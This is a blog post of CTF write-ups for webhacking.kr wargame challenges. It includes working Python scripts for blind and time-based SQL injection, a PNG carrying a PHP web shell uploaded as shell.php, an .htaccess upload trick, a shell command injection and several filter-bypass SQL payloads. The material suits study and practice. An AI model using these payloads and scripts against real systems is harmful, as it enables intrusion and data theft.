Hello Navi

Tech, Security & Personal Notes

Challenge

Extract the flag through the filtered blind SQL injection.

通过带过滤的 blind SQL injection 提取 flag。

1
https://webhacking.kr/challenge/web-10/

Analysis

no 参数进入 SQL 查询,页面用结果值区分真假。过滤器会阻止空格、比较符、LIKE、LIMIT、UNION 等常见写法,但保留括号、SELECT、FROM、SUBSTR、ORD 和 IN。因此可以写成无空格的表达式,并用 MIN/MAX 在不能使用 LIMIT 时选取目标行。

当前题型的对象为 chall13.flag_ab733768.flag_3a55b31d。对最长 flag 使用 MAX(flag_3a55b31d),然后逐位置测试字符的 ASCII 值:

1
ORD(SUBSTR((SELECT(MAX(flag_3a55b31d))FROM(flag_ab733768)),<position>,1))IN(<ascii>)

当页面结果为 1 时,当前字符匹配。flag 长度为 27,字符范围取 0 到 127 足以覆盖结果。

Solution

下面是完整的 Python 提取脚本。它只读取题目的 SQLi oracle;登录 session 从环境变量取得,文章中不包含真实 Cookie。脚本用 requests 自动 URL-encode no 参数,并打印恢复的 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os

import requests

BASE_URL = "https://webhacking.kr/challenge/web-10/"
TRUE_MARKER = "<td>1</td>"
TABLE_NAME = "flag_ab733768"
COLUMN_NAME = "flag_3a55b31d"
FLAG_LENGTH = 27

def make_payload(position, character_code):
return (
"ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})"
.format(COLUMN_NAME, TABLE_NAME, position, character_code)
)

def oracle(session, payload):
response = session.get(
BASE_URL,
params={"no": payload},
timeout=20,
)
response.raise_for_status()
return TRUE_MARKER in response.text

def extract_flag(session):
flag = []
for position in range(1, FLAG_LENGTH + 1):
for character_code in range(128):
if oracle(session, make_payload(position, character_code)):
flag.append(chr(character_code))
break
else:
raise RuntimeError(f"no character matched at position {position}")
return "".join(flag)

def main():
session_cookie = os.environ.get("CHALLENGE_SESSION")
if not session_cookie:
raise SystemExit("set session-cookie to your own challenge session before running")

session = requests.Session()
session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

flag = extract_flag(session)
print(flag)

if __name__ == "__main__":
main()

Challenge

Read flag.php through an Apache upload directory.

通过 Apache 上传目录读取 flag.php。

1
http://webhacking.kr:10002/

Analysis

上传处理器接受名为 .htaccess 的文件,并把文件放进可被 Apache 访问的随机目录。目录中的 .htaccess 会覆盖该目录的 PHP handler;php_flag engine off 关闭 PHP 执行后,访问同目录的 flag.php 会返回源码而非执行结果。

Solution

完整上传和读取脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import re

import requests

BASE_URL = "http://webhacking.kr:10002/"

def upload_directory(response_text: str) -> str:
match = re.search(r"/upload/[A-Za-z0-9]+/", response_text)
if match is None:
raise RuntimeError("upload response did not contain the upload directory")
return match.group(0)

def main() -> None:
session = requests.Session()
response = session.post(
BASE_URL,
files={
"upfile": (
".htaccess",
b"php_flag engine off\n",
"text/plain",
)
},
timeout=20,
)
response.raise_for_status()

upload_dir = upload_directory(response.text)
flag_source = session.get(
"http://webhacking.kr:10002" + upload_dir + "flag.php",
timeout=20,
)
flag_source.raise_for_status()
print(flag_source.text)

if __name__ == "__main__":
main()

读取源码后,将其中的 flag 填入认证表单。

上传目录名按 session 随机生成,脚本从上传响应提取目录;.htaccess 还要求该目录允许 Apache override。

Challenge

Upload a file accepted by Imagick while preserving a PHP-capable filename.

上传一个能被 Imagick 接受、同时保留 PHP 文件名的文件。

1
http://webhacking.kr:10018/

Analysis

服务端检查上传文件的 MIME type,拒绝 text/* 和 application/octet-stream,随后用 Imagick 读取、缩放并以原文件名写入 upload/:

1
2
3
4
$image = new Imagick();
$image->readImage($_FILES['file']['tmp_name']);
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
$image->writeImage('./upload/' . $_FILES['file']['name']);

文件名没有限制 .php 后缀。一个有效 PNG 可以在 tEXt chunk 中携带 PHP 代码;若 Imagick 在目标部署中保留该 metadata,上传结果就会以 .php 文件名保存,并由 PHP 解释器处理。

Solution

PHP 代码放入 Comment 文本块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pathlib import Path
import struct
import zlib

PHP = b'<?php system($_GET["cmd"]); ?>'

def chunk(kind, data):
body = kind + data
return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)

def make_png(path):
signature = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
scanline = b"\x00\xff\xff\xff"
text = b"Comment\x00" + PHP
png = b"".join(
(
signature,
chunk(b"IHDR", ihdr),
chunk(b"tEXt", text),
chunk(b"IDAT", zlib.compress(scanline)),
chunk(b"IEND", b""),
)
)
Path(path).write_bytes(png)

if __name__ == "__main__":
make_png("shell.png")

上传生成的 shell.png 时,multipart 字段如下:

1
2
3
name=file
filename=shell.php
Content-Type: image/png

上传后访问:

1
/upload/shell.php?cmd=cat%20%2Fflag

metadata 是否在缩放和写入后保留,取决于目标 Imagick 版本与部署配置。

Challenge

Execute ls through a five-character POST field.

在五字符 POST 字段中执行 ls。

1
http://webhacking.kr:10005/

Analysis

服务端只保留 id 的前五个字符,再拼入:

1
system("echo 'hello! {$id}'");

输入 ';ls' 的前五个字符仍是 ';ls'。shell 先结束原来的单引号字符串,再执行 ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前 flag 文件名。

Solution

提交 POST 字段:

1
id=';ls'

命令输出返回一个以 flag_ 开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:

1
flag_<deployment-generated-name>

随后访问该文件读取 flag:

完整验证脚本如下。它只请求题目端口,不包含 cookie 或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

FLAG_FILE = re.compile(r"flag_[0-9a-f]+")

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://webhacking.kr:10005/")
args = parser.parse_args()

response = requests.post(args.url, data={"id": "';ls'"}, timeout=20)
response.raise_for_status()
match = FLAG_FILE.search(response.text)
if not match:
raise RuntimeError("flag filename was not found in the command output")

flag_url = urljoin(args.url, match.group(0))
flag_response = requests.get(flag_url, timeout=20)
flag_response.raise_for_status()
print(flag_response.text)

if __name__ == "__main__":
main()

Challenge

Extract the flag stored in the secret field through a timing oracle.

通过 timing oracle 提取 secret 字段中的 flag。

1
https://webhacking.kr/challenge/web-34/

Analysis

服务端把 se 直接拼入 INSERT 的数值位置,并过滤 select、and、or、not、&、| 和 benchmark。IF、LENGTH、ASCII、SUBSTR 与 SLEEP 仍可使用,因此可以用响应时间区分条件真假。

条件为真时执行 SLEEP(2),条件为假时执行 SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1 开始。发送请求时必须测量整个 HTTP 请求耗时,并以明显高于正常响应的延迟作为 true oracle,而不是依赖页面正文。

Solution

基础长度探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 替换为待测试长度。单字符探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 是 1-based 位置,C 是待测试字符的 ASCII 数值。以下脚本包含长度枚举、字符枚举、请求参数编码、延迟阈值和 entry point;它不包含任何真实 cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import string
import time

import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-34/"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
SLEEP_SECONDS = 2
DELAY_THRESHOLD = 1.5
MAX_LENGTH = 64
CHARACTERS = string.ascii_letters + string.digits + string.punctuation

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-57-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def request_is_true(session, condition):
expression = (
f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))"
)
started = time.monotonic()
response = session.get(
ENDPOINT,
params={"msg": "a", "se": expression},
timeout=SLEEP_SECONDS + 10,
)
elapsed = time.monotonic() - started
response.raise_for_status()
return elapsed >= DELAY_THRESHOLD

def discover_length(session):
for length in range(1, MAX_LENGTH + 1):
if request_is_true(session, f"LENGTH(pw)={length}"):
return length
raise RuntimeError("password length was not found")

def recover_flag(session, length):
flag = ""
for position in range(1, length + 1):
for character in CHARACTERS:
code = ord(character)
condition = f"ASCII(SUBSTR(pw,{position},1))={code}"
if request_is_true(session, condition):
flag += character
print(flag)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return flag

def main():
session = make_session()
length = discover_length(session)
print(f"length={length}")
flag = recover_flag(session, length)
print(f"flag={flag}")

if __name__ == "__main__":
main()

Timing oracle 对网络抖动敏感;SLEEP_SECONDS 和 DELAY_THRESHOLD 需要根据当前网络基线调整。

Challenge

Bypass the SQL filters and make the selected value equal 2.

绕过 SQL 过滤器,让查询结果变成 2。

1
https://webhacking.kr/challenge/web-07/

Analysis

源码随机用 1 到 5 层括号包裹 val,再把查询结果的第一列当作 level。输入过滤器拒绝直接出现数字 2,但 ceil(1.5) 的结果是整数 2,且 payload 不含被拦截的字面量。用 UNION 追加一行,就能让结果集的第一行成为这个值;结尾的 # 用来注释随机包装后剩余的 SQL。

Solution

下面的脚本通过 params 传递值。requests 会把 payload 中的 # 编码为 %23,服务器解码一次后才得到 SQL 注释符;不要手工把已经编码的 %23 再传入 params,否则可能变成双重编码。由于服务端的括号层数随机,脚本最多重试 10 次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
"OLD07_URL", "https://webhacking.kr/challenge/web-07/"
)
PAYLOAD = "0)union(select(ceil(1.5)))#"
ATTEMPTS = 10

def main() -> int:
with requests.Session() as session:
for attempt in range(1, ATTEMPTS + 1):
response = session.get(
URL,
params={"val": PAYLOAD},
timeout=10,
)
response.raise_for_status()
print(f"attempt {attempt}: {response.url}")
if "old-07" in response.text:
print(response.text)
return 0
print("The random query wrapper did not accept the payload in this run.")
return 1

if __name__ == "__main__":
sys.exit(main())

若直接构造 URL,请使用:

1
https://webhacking.kr/challenge/web-07/?val=0%29union%28select%28ceil%281.5%29%29%29%23

这里的 %23 是 URL 层的编码形式,不能把字面量 # 留在 URL 中,否则浏览器会把它当作 fragment 而不发送给服务器。

Challenge

Understand the obfuscated JavaScript route check.

分析混淆 JavaScript 的路径检查。

1
https://webhacking.kr/challenge/code-3/

Analysis

页面源码是 aaencode 风格的 JavaScript。解码后,脚本从 URL 的 = 之后取值,并将一组 String.fromCharCode 结果与它比较。比较通过后,脚本执行:

1
location.href = "./" + ck.replace("=", "") + ".php";

解码比较值后得到目标文件名 youaregod~~~~~~~!.php,所以无需依赖浏览器执行混淆脚本,也可以直接请求生成后的路径。

Solution

直接请求下面的完整 URL。--path-as-is 让 curl 保留路径中的 ~ 和 !:

1
curl --path-as-is 'https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php'

浏览器中也可以直接访问:

1
https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php

请求目标路径即为题目要求的隐藏文件。

Challenge

Return admin through a heavily filtered numeric SQL expression.

通过严格过滤的数值 SQL 表达式返回 admin。

1
https://webhacking.kr/challenge/web-24/

Analysis

lv 被当作 SQL 表达式使用。当前题目的过滤会拒绝括号、空白字符、引号以及 or、and 等关键字,但没有同时拒绝 MySQL 的 || 和十六进制字符串字面量。

100||id=0x61646d696e 的两部分分别是一个数值表达式和一个条件表达式。MySQL 中 || 可作为逻辑 OR 使用,0x61646d696e 会按字符串解释为 admin,所以当记录的 id 为 admin 时,条件为真并可被页面选中。

Solution

向 old-49 的 challenge URL 发送以下完整请求:

1
https://webhacking.kr/challenge/web-24/?lv=100%7C%7Cid%3D0x61646d696e

未编码显示时,lv 的原始值是:

1
100||id=0x61646d696e

Challenge

Use the encoding boundary to reach a UNION result with level 3.

利用编码边界注入 UNION 结果,使 level 变成 3。

1
https://webhacking.kr/challenge/web-25/

Analysis

old-50 的 id 会先经过 addslashes,之后再从 EUC-KR 转换为 UTF-8。%aa 是多字节字符的前导字节;在该转换边界下,它可以吞掉 addslashes 插入的反斜杠,使后面的单引号重新成为 SQL 语法的一部分。

pw 从注释结束处开始注入 UNION SELECT 3。Tab(%09)代替空格,#(%23)注释掉后续 SQL。这个链依赖原始请求中的字节顺序,浏览器或 HTTP 客户端不能把已经编码的 %aa、%27、%2f、%2a 再编码成字面量百分号序列。

Solution

候选请求的完整原始 query 为:

1
https://webhacking.kr/challenge/web-25/?id=%aa%27%2f%2a&pw=%2a%2funion%09select%093%23

解码后两个参数分别是:

1
2
id=\xaa'/*
pw=*/union\tselect\t3#

其中 \xaa 表示原始字节 0xaa,不是六个普通字符。需要使用 Burp Repeater 或能保留 query 原始字节的客户端重放请求,不要先把整个 URL 当作普通参数再次编码。

Challenge

Bypass the raw-MD5 SQL query on the admin page.

绕过 admin page 中的 raw-MD5 SQL 查询。

1
https://webhacking.kr/challenge/bonus-13/

Analysis

题目给出的关键服务端逻辑是:

1
2
3
4
5
6
7
8
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'], true);
$result = mysqli_fetch_array(
mysqli_query(
$db,
"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"
)
);

PHP 的 md5 第二个参数为 true 时返回 16 字节原始二进制,而不是通常看到的 32 位十六进制文本。提交的密码 129581926211651571912466741651878684928 的 MD5 原始结果已在本地核对为:

1
2
hex: 06da5430449f8f6f23dfc1276f722738
repr: b"\\x06\\xdaT0D\\x9f\\x8fo#\\xdf\\xc1'or'8"

结果中包含 'or'。拼进单引号包围的 pw 值后,SQL 片段会形成字符串比较与 or 条件,后面的非空字符串条件为真,从而绕过密码相等性检查。id=admin 选择目标记录。

Solution

向 /challenge/bonus-13/ 发送完整的 form-urlencoded 请求:

1
2
3
curl 'https://webhacking.kr/challenge/bonus-13/' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'id=admin&pw=129581926211651571912466741651878684928'